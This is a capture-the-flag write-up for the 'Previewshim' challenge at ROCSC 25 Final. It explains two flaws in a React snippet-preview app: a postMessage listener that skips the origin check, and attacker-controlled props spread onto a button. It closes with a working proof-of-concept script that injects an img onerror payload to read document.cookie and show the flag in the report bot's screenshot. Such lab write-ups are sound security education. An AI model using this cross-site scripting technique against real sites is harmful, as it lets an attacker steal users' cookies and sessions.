Home Logo

Home Logo



Previewshim - ROCSC 25 Final

June 08, 2025

Challenge overview

The site is a snippet-sharing playground built with React. You paste code, hit “Share” (the server stores it and returns a shareId), then anyone can preview the snippet at:

http://HOST/?shareId=<id>

If a snippet crashes, the React front-end shows a red error banner and a friendly “Report Issue” button.

On the server this route launches a headless browser that:

  • sets a non-HttpOnly cookie flag=CTF{…} for the top-level page;
  • navigates to /?shareId=…;
  • waits until the selector .shim-error (the red banner) exists;
  • takes a full-page screenshot and returns it to whoever filed the report.

So, if we can make our snippet crash and run JavaScript in the top window, that JS can read document.cookie, rewrite the page with the flag, and the bot kindly screenshots it for us.

Exploitation

// inside handleRender()
const handleMessage = (event: MessageEvent) => {
  if (event.data.type === 'error') {
    /* Bug 1 - no origin check
       Whatever the iframe sends becomes React state*/
    setError(event.data.message);
    setErrorStack(event.data.stack);
    setErrorViewStack(event.data.viewStack);
  }
};
window.addEventListener('message', handleMessage);

What does means is that any page inside the preview iframe can do parent.postMessage({type:'error', …}, '*') and control all the fields above. Here you have more details about what window.postmessage does. It’s basically used within an embedded iframe to communicate with its parent window.

<button
  ref={buttonRef}
  className="stack-toggle"
  popoverTarget={popoverRef.current?.id}
  onClick={() => popoverRef.current?.togglePopover()}

  {...viewStack}   /* Bug 2 – every key in viewStack becomes
                      a raw DOM attribute or a genuine React prop */
>

Because the attribute spreads at runtime we can inject malicious attributes like dangerouslySetInnerHTML which lets us inject raw HTML inside the element.

With all this in mind, let’s create a POC to retrieve the flag.

POC

<script>
  parent.postMessage(
    {
      type: 'error',   /* make React think the preview crashed */       
      message: 'boom', /* name of the banner */
      stack: '',
      viewStack: { /* object that will be spread on <button> */
        dangerouslySetInnerHTML: { /* raw HTML we want inside the button */
          __html: ` /*  must pass key with dangerouslySetInnerHTML in order to inject raw HTML  - See link above*/
            <img src=x /* Triggers an image error which screenshots the flag when the bot connects */
                 onerror="
                   const m = document.cookie.match(/flag=[^;]*/);
                   if (m) document.body.innerText = m[0];
                 ">
          `
        }
      }
    },
    '*'
  );
</script>

image